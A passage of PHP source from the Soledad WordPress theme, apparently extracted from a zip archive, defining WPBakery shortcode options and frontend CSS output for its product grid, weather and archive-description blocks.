				esc_html__( '2 Columns', 'soledad' ) => 2,
				esc_html__( '3 Columns', 'soledad' ) => 3,
				esc_html__( '4 Columns', 'soledad' ) => 4,
				esc_html__( '5 Columns', 'soledad' ) => 5,
				esc_html__( '6 Columns', 'soledad' ) => 6,
			),
			'std'              => 3,
			'param_name'       => 'columns',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Tablet Columns', 'soledad' ),
			'value'            => array(
				esc_html__( '2 Columns', 'soledad' ) => 2,
				esc_html__( '3 Columns', 'soledad' ) => 3,
				esc_html__( '4 Columns', 'soledad' ) => 4,
				esc_html__( '5 Columns', 'soledad' ) => 5,
				esc_html__( '6 Columns', 'soledad' ) => 6,
			),
			'std'              => 2,
			'param_name'       => 'tablet_columns',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Mobile Columns', 'soledad' ),
			'value'            => array(
				esc_html__( '2 Columns', 'soledad' ) => 2,
				esc_html__( '3 Columns', 'soledad' ) => 3,
				esc_html__( '4 Columns', 'soledad' ) => 4,
				esc_html__( '5 Columns', 'soledad' ) => 5,
				esc_html__( '6 Columns', 'soledad' ) => 6,
			),
			'std'              => 1,
			'param_name'       => 'mobile_columns',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'textfield',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Items per page', 'soledad' ),
			'std'              => '12',
			'param_name'       => 'items_per_page',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Paginations', 'soledad' ),
			'value'            => array(
				esc_html__( 'Inherit', 'soledad' )           => '',
				esc_html__( 'Load more button', 'soledad' )  => 'loadmore',
				esc_html__( 'Infinit scrolling', 'soledad' ) => 'infinit',
				esc_html__( 'Links', 'soledad' )             => 'links',
				esc_html__( 'Hidden', 'soledad' )            => 'none',
			),
			'std'              => '',
			'param_name'       => 'pagination',
			'edit_field_class' => 'vc_col-sm-4',
		),

		// Carousel Settings
		array(
			'type'       => 'penci_responsive_sizes',
			'group'      => 'Layout & Design',
			'heading'    => __( 'Scroll per page', 'soledad' ),
			'param_name' => 'scroll_per_page',
			'dependency' => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Show Next Previous Button', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_prev_next_buttons',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Show Pagination Control', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_pagination_control',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Slider Loop', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'wrap',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Slider Autoplay', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'autoplay',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'       => 'textfield',
			'group'      => 'Layout & Design',
			'heading'    => __( 'Carousel Speed', 'soledad' ),
			'std'        => '300',
			'param_name' => 'speed',
			'dependency' => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Init carousel on scroll', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'scroll_carousel_init',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),
	), array(
		array(
			'type'       => 'dropdown',
			'group'      => 'Product Style',
			'heading'    => __( 'Product Style', 'soledad' ),
			'value'      => array(
				esc_html__( 'Inherit from the Theme Settings', 'soledad' ) => 'inherit',
				'Default'                                              => 'standard',
				'Style 1'                                              => 'style-1',
				'Style 2'                                              => 'style-2',
				'Style 3'                                              => 'style-3',
				'Style 4'                                              => 'style-4',
				'Style 5'                                              => 'style-5',
				'Style 6'                                              => 'style-6',
			),
			'std'        => 'style-1',
			'param_name' => 'product_style',
		),
		array(
			'type'       => 'dropdown',
			'group'      => 'Product Style',
			'heading'    => __( 'Image Size', 'soledad' ),
			'value'      => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'param_name' => 'img_size',
		),
		array(
			'type'       => 'textfield',
			'group'      => 'Product Style',
			'heading'    => __( 'Custom Image Size', 'soledad' ),
			'value'      => '',
			'param_name' => 'img_custom_size',
		),
		array(
			'type'        => 'penci_switch',
			'group'       => 'Product Style',
			'heading'     => __( 'Sale Countdown', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'sale_countdown',
		),
		array(
			'type'        => 'penci_switch',
			'group'       => 'Product Style',
			'heading'     => __( 'Stock Progress Bar', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'stock_progress_bar',
		),
		array(
			'type'        => 'penci_switch',
			'group'       => 'Product Style',
			'heading'     => __( 'Product Category', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'product_categories',
		),
		array(
			'type'        => 'penci_switch',
			'group'       => 'Product Style',
			'heading'     => __( 'Product Rating', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'product_rating',
		),
	), array(
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_pdc_settings',
			'heading'          => esc_html__( 'Product Style & Color', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Product Title Color', 'soledad' ),
			'param_name'       => 'product_title_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Product Title Font Size', 'soledad' ),
			'param_name'       => 'product_title_font_size',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Product Category Color', 'soledad' ),
			'param_name'       => 'product_category_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Product Category Font Size', 'soledad' ),
			'param_name'       => 'product_category_font_size',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Product Price Color', 'soledad' ),
			'param_name'       => 'product_price_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Product Price Font Size', 'soledad' ),
			'param_name'       => 'product_price_font_size',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination Color', 'soledad' ),
			'param_name'       => 'product_pagination_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination Border Color', 'soledad' ),
			'param_name'       => 'product_pagination_boder_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination Hover Color', 'soledad' ),
			'param_name'       => 'product_pagination_hover_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination Border Hover Color', 'soledad' ),
			'param_name'       => 'product_pagination_border_hover_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination Current Item Color', 'soledad' ),
			'param_name'       => 'product_pagination_current_item_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination Current Item Border Color', 'soledad' ),
			'param_name'       => 'product_pagination_current_item_border_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination Current Background Color', 'soledad' ),
			'param_name'       => 'product_pagination_current_bg_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination View More Background Color', 'soledad' ),
			'param_name'       => 'product_pagination_viewmore_bg_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination View More Hover Background Color', 'soledad' ),
			'param_name'       => 'product_pagination_viewmore_hover_bg_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination View More Text Color', 'soledad' ),
			'param_name'       => 'product_pagination_viewmore_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination View More Hover Text Color', 'soledad' ),
			'param_name'       => 'product_pagination_viewmore_hover_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\}u	  	  /  inc/js_composer/shortcodes/product/frontend.phpnu [        <?php
$output                 = $el_class = $css_animation = $css = $responsive_spacing = '';
$heading_title_style    = $heading = $heading_title_link = $heading_title_align = '';
$post_type              = $include = $exclude = $taxonomies = $orderby = $offset = $query_type = $order = $meta_key = $layout = $columns = $items_per_page = $pagination = $shop_tools = $scroll_per_page = '';
$hide_prev_next_buttons = $center_mode = $wrap = $autoplay = $speed = $product_style = '';
$img_size               = $img_custom_size = $sale_countdown = $stock_progress_bar = $highlighted_products = $product_quantity = '';
$item_vertical_spacing  = $item_horizontal_spacing = $hide_hot_label = $hide_new_label = $hide_sale_label = '';

$product_title_color = $product_title_font_size = $product_category_color = $product_category_font_size = $product_price_color = $product_price_font_size = $product_pagination_color = $product_pagination_boder_color = $product_pagination_hover_color = $product_pagination_border_hover_color = $product_pagination_current_item_color = $product_pagination_current_item_border_color = $product_pagination_current_bg_color = $product_pagination_viewmore_bg_color = $product_pagination_viewmore_hover_bg_color = $product_pagination_viewmore_text_color = $product_pagination_viewmore_hover_text_color = '';

$atts              = vc_map_get_attributes( $this->getShortcode(), $atts );
$atts['elementor'] = false;
extract( $atts );

$atts['hide_prev_next_buttons']  = 'yes' == $atts['hide_prev_next_buttons'];
$atts['hide_pagination_control'] = 'yes' == $atts['hide_pagination_control'];
$atts['wrap']                    = 'yes' == $atts['wrap'];
$atts['autoplay']                = 'yes' == $atts['autoplay'];
$atts['scroll_carousel_init']    = 'yes' == $atts['scroll_carousel_init'];
$atts['sale_countdown']          = 'yes' == $atts['sale_countdown'];
$atts['stock_progress_bar']      = 'yes' == $atts['stock_progress_bar'];
$atts['product_categories']      = 'yes' == $atts['product_categories'];
$atts['product_rating']          = 'yes' == $atts['product_rating'];

$css_class = 'penci-vc_product elementor-widget-container';

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );
$css_class       .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id        = Penci_Vc_Helper::get_unique_id_block( 'penci_product' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php
		Penci_Vc_Helper::markup_block_title( $atts );
		penci_elementor_products_template( $atts, true );
		?>
    </div>

<?php
// CUSTOM CSS
$id_product = '#' . $block_id;
$id_product2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom = Penci_Vc_Helper::get_heading_block_css( $id_product, $atts );

if ( $product_title_color ) {
	$css_custom .= $id_product2 . ' ul.products .penci-soledad-product .penci-product-loop-title h3{color:' . $product_title_color . '}';
	$css_custom .= $id_product2 . ' ul.products .penci-soledad-product .penci-product-loop-title h3 a{color:' . $product_title_color . '}';
}

if ( $product_title_font_size ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . ' ul.products .penci-soledad-product .penci-product-loop-title h3{font-size:{{VALUE}}px}', $product_title_font_size );
}

if ( $product_category_color ) {
	$css_custom .= $id_product2 . ' ul.products li.product .penci-product-cats a{color:' . $product_category_color . '}';
}

if ( $product_category_font_size ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . ' ul.products li.product .penci-product-cats a{font-size:{{VALUE}}px}', $product_category_font_size );
}

if ( $product_price_color ) {
	$css_custom .= $id_product2 . ' ul.products li.product .price{color:' . $product_price_color . '}';
}

if ( $product_price_font_size ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . ' ul.products li.product .price{font-size:{{VALUE}}px}', $product_price_font_size );
}

if ( $product_pagination_color ) {
	$css_custom .= $id_product2 . ' nav.woocommerce-pagination ul li a{color:' . $product_pagination_color . '}';
}

if ( $product_pagination_boder_color ) {
	$css_custom .= $id_product2 . ' nav.woocommerce-pagination ul li a{border-color:' . $product_pagination_boder_color . '}';
}

if ( $product_pagination_hover_color ) {
	$css_custom .= $id_product2 . ' nav.woocommerce-pagination ul li a:hover{color:' . $product_pagination_hover_color . '}';
}

if ( $product_pagination_border_hover_color ) {
	$css_custom .= $id_product2 . ' nav.woocommerce-pagination ul li a:hover{color:' . $product_pagination_border_hover_color . '}';
}

if ( $product_pagination_current_item_color ) {
	$css_custom .= $id_product2 . ' nav.woocommerce-pagination ul li span.current{color:' . $product_pagination_border_hover_color . '}';
}

if ( $product_pagination_current_item_border_color ) {
	$css_custom .= $id_product2 . ' nav.woocommerce-pagination ul li span.current{border-color:' . $product_pagination_border_hover_color . '}';
}

if ( $product_pagination_current_bg_color ) {
	$css_custom .= $id_product . ' nav.woocommerce-pagination ul li span.current{background-color:' . $product_pagination_current_bg_color . '}';
}

if ( $product_pagination_viewmore_bg_color ) {
	$css_custom .= $id_product2 . '  .penci-woo-page-container .page-load-button .button{background-color:' . $product_pagination_viewmore_bg_color . '}';
}

if ( $product_pagination_viewmore_text_color ) {
	$css_custom .= $id_product2 . '  .penci-woo-page-container .page-load-button .button{color:' . $product_pagination_viewmore_text_color . '}';
}

if ( $product_pagination_viewmore_hover_bg_color ) {
	$css_custom .= $id_product2 . '  .penci-woo-page-container .page-load-button .button:hover{background-color:' . $product_pagination_viewmore_hover_bg_color . '}';
}

if ( $product_pagination_viewmore_hover_text_color ) {
	$css_custom .= $id_product2 . '  .penci-woo-page-container .page-load-button .button:hover{color:' . $product_pagination_viewmore_hover_text_color . '}';
}

if ( $item_horizontal_spacing ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products{margin-left:-{{VALUE}}px;margin-right:-{{VALUE}}px}', $item_horizontal_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products li.product{padding-left:-{{VALUE}}px;padding-right:-{{VALUE}}px}', $item_horizontal_spacing );
}

if ( $item_vertical_spacing ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products li.product{margin-bottom:-{{VALUE}}}', $item_vertical_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .products.product-list .penci-soledad-product .penci-product-loop-inner-content{margin-bottom:-{{VALUE}}}', $item_vertical_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers,.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers{margin-top: calc( -25px -{{VALUE}}px)}', $item_vertical_spacing );
}

if ( $hide_hot_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.featured{display:none}';
}

if ( $hide_new_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.new{display:none}';
}

if ( $hide_sale_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.onsale{display:none}';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_product, $responsive_spacing );
}


if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\    /  inc/js_composer/shortcodes/weather/settings.phpnu [        <?php
vc_map( array(
	'base'          => 'penci_weather',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/weather/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Weather', 'soledad' ),
	'description'   => __( 'Weather Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		Penci_Vc_Params_Helper::params_container_width(),
		array(
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Search your for location:', 'soledad' ),
				'param_name'  => 'penci_location',
				'std'         => 'London',
				'admin_label' => true,
				'description' => sprintf( '%s - You can use "city name" (ex: New York) or "city name,country code" (ex: New York, US)',
					'<a href="' . esc_url( 'http://openweathermap.org/find' ) . '">' . esc_html__( 'Find your location', 'soledad' ) . '</a>' ),
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Custom Location Name Display', 'soledad' ),
				'param_name'  => 'penci_location_show',
				'description' => esc_html__( 'If the option is empty,will display results from ', 'soledad' ) . '<a href="' . esc_url( 'http://openweathermap.org/find' ) . '">openweathermap.org</a>',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Enable User Location', 'soledad' ),
				'param_name' => 'penci_user_loc',
				'value'      => array(
					esc_html__( 'Enable', 'soledad' ) => 'enable',
					esc_html__( 'Disble', 'soledad' ) => 'disable',
				),
				'std'        => 'disable',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Use Cookies to Save Weather Data When Users Access it Based on Their Location?', 'soledad' ),
				'description'    => esc_html__( 'This option only applies when you enable the user\'s location above.', 'soledad' ),
				'param_name' => 'penci_save_user_loc',
				'value'      => array(
					esc_html__( 'Enable', 'soledad' ) => 'enable',
					esc_html__( 'Disble', 'soledad' ) => 'disable',
				),
				'std'        => 'disable',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Units', 'soledad' ),
				'param_name' => 'penci_units',
				'value'      => array(
					esc_html__( 'F', 'soledad' ) => 'imperial',
					esc_html__( 'C', 'soledad' ) => 'metric',
				),
				'std'        => 'metric',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Forcast', 'soledad' ),
				'param_name' => 'penci_forcast',
				'value'      => array(
					esc_html__( '1 Day', 'soledad' )  => '1',
					esc_html__( '2 Days', 'soledad' ) => '2',
					esc_html__( '3 Days', 'soledad' ) => '3',
					esc_html__( '4 Days', 'soledad' ) => '4',
					esc_html__( '5 Days', 'soledad' ) => '5',
				),
				'std'        => '5',
			),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'color_weather_css',
				'heading'          => esc_html__( 'Weather colors', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'General color', 'soledad' ),
				'param_name'       => 'w_genneral_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Localtion color', 'soledad' ),
				'param_name'       => 'w_localtion_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'w_location_size',
				'heading'    => __( 'Font size for Location', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'w_condition_size',
				'heading'    => __( 'Font size for Cloudiness', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'w_whc_info_size',
				'heading'    => __( 'Font size for Wind,Humidity, Clouds', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Border color', 'soledad' ),
				'param_name'       => 'w_border_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Degrees color', 'soledad' ),
				'param_name'       => 'w_degrees_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'w_temp_size',
				'heading'    => __( 'Font size for Temperature', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'w_tempsmall_size',
				'heading'    => __( 'Font size for Min/Max Temperature', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Custom color for forecast weather in next days', 'soledad' ),
				'param_name'       => 'w_forecast_text_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Custom background for forecast weather in next days', 'soledad' ),
				'param_name'       => 'w_forecast_bg_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'w_forecast_size',
				'heading'    => __( 'Font size for Weather Forecast', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
		),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     N\4    /  inc/js_composer/shortcodes/weather/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci_block_weather penci-weather';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'weather' );
wp_enqueue_style( 'penci-font-iweather' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content">
			<?php
			$weather_data = Penci_Weather::show_forecats( array(
				'location'      => $atts['penci_location'],
				'location_show' => $atts['penci_location_show'],
				'forecast_days' => $atts['penci_forcast'],
				'units'         => $atts['penci_units'],
				'user_loc'		=> $atts['penci_user_loc'] == 'enable',
				'cookie'		=> $atts['penci_save_user_loc'] == 'enable',
			) );

			if ( $weather_data ) {
				echo $weather_data;
			} else {
				echo '<div class="penci-block-error">';
				echo '<span>Weather widget</span>';
				echo ' You need to fill API key to Customize > General > Extra Options > Weather API Key to get this widget work.';
				echo '</div>';
			}
			?>
        </div>
    </div>
<?php

$id_weather = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom = Penci_Vc_Helper::get_heading_block_css( $id_weather, $atts );

if ( $atts['w_genneral_color'] ) {
	$css_custom .= sprintf( '%s .penci-weather-condition,
					 %s .penci-weather-information,
					 %s .penci-weather-lo-hi__content .fa,
					 %s .penci-circle,
					 %s .penci-weather-animated-icon i,
					 %s .penci-weather-unit { color : %s; opacity: 1; }', $id_weather, $id_weather, $id_weather, $id_weather, $id_weather, $id_weather, $atts['w_genneral_color'] );
}

if ( $atts['w_localtion_color'] ) {
	$css_custom .= sprintf( '%s .penci-weather-city { color : %s; }', $id_weather, $atts['w_localtion_color'] );
}

if ( $atts['w_border_color'] ) {
	$css_custom .= sprintf( '%s .penci-weather-information { border-color : %s; }', $id_weather, $atts['w_border_color'] );
}

if ( $atts['w_degrees_color'] ) {
	$css_custom .= sprintf( '%s .penci-big-degrees,%s .penci-small-degrees { color : %s; }', $id_weather, $id_weather, $atts['w_degrees_color'] );
}

if ( $atts['w_forecast_text_color'] ) {
	$css_custom .= sprintf( '%s .penci-weather-week{ color : %s; }', $id_weather, $atts['w_forecast_text_color'] );
}

if ( $atts['w_forecast_bg_color'] ) {
	$css_custom .= sprintf( '%s .penci-weather-week:before { background-color : %s;opacity: 1; }', $id_weather, $atts['w_forecast_bg_color'] );
}

if ( $atts['w_location_size'] ) {
	$css_custom .= sprintf( '%s .penci-weather-city{ font-size: %s; }', $id_weather, $atts['w_location_size'] );
}
if ( $atts['w_condition_size'] ) {
	$css_custom .= sprintf( '%s .penci-weather-condition{ font-size: %s; }', $id_weather, $atts['w_condition_size'] );
}
if ( $atts['w_whc_info_size'] ) {
	$css_custom .= sprintf( '%s .penci-weather-information{ font-size: %s; }', $id_weather, $atts['w_whc_info_size'] );
}
if ( $atts['w_temp_size'] ) {
	$css_custom .= sprintf( '%s .penci-weather-now .penci-big-degrees{ font-size: %s; }', $id_weather, $atts['w_temp_size'] );
}
if ( $atts['w_tempsmall_size'] ) {
	$css_custom .= sprintf( '%s .penci-weather-degrees-wrap .penci-small-degrees{ font-size: %s; }', $id_weather, $atts['w_tempsmall_size'] );
}
if ( $atts['w_forecast_size'] ) {
	$css_custom .= sprintf( '%s .penci-weather-days .penci-day-degrees { font-size: %s; }', $id_weather, $atts['w_forecast_size'] );
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_weather, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\g./	  /	  >  inc/js_composer/shortcodes/pc_archive_description/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_archive_description",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Archive Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_archive_description/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Archive Builder - Description', 'soledad' ),
	'description'   => 'Archive Builder - Description',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Text Align', 'soledad' ),
			'param_name'       => 'text_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Text Color', 'soledad' ),
			'param_name'       => 'text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Color', 'soledad' ),
			'param_name'       => 'text_lcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Hover Color', 'soledad' ),
			'param_name'       => 'text_lhcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Custom Font Family', 'soledad' ),
			'param_name' => 'use_custom_typo',
			'value'      => 'no',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'main_text_font',
			'value'      => '',
